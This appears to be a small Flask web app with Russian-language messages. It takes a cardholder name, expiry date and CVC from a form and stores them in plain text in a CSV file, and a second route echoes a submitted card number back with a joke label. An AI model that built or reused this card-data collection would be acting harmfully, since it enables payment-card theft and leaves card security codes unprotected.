import random
from flask import Flask, render_template, request, jsonify
import os
import datetime
import csv

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('page.html')

def save_to_datas_csv(data):
    filename = 'datas.csv'
    file_exists = os.path.exists(filename)
    
    with open(filename, 'a', newline='', encoding='utf-8') as file:
        writer = csv.writer(file)
        
        if not file_exists or os.path.getsize(filename) == 0:
            writer.writerow(['time', 'name', 'date', 'cvc'])
        
        time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        writer.writerow([time, data['name'], data['date'], data['cvc']])
    
    return True

@app.route('/process', methods=['POST'])
def process():
    data = {
        'name': request.form.get('name', ''),
        'date': request.form.get('date', ''),
        'cvc': request.form.get('cvc', '')
    }
    
    save_to_datas_csv(data)
    
    return jsonify({
        'success': 'Данные успешно добавлены в datas.csv!',
        'saved_name': data['name'],
        'saved_date': data['date']
    })

@app.route('/save', methods=['POST'])
def save():
    number = request.form['number']
    if int(number) % 2 == 0:
        a = 'Пупсень'
    else:
        a = 'Вупсень'
    return f"Номер вашей карты - {number}, поэтому вы {a}"

if __name__ == '__main__':
    app.run(debug=True)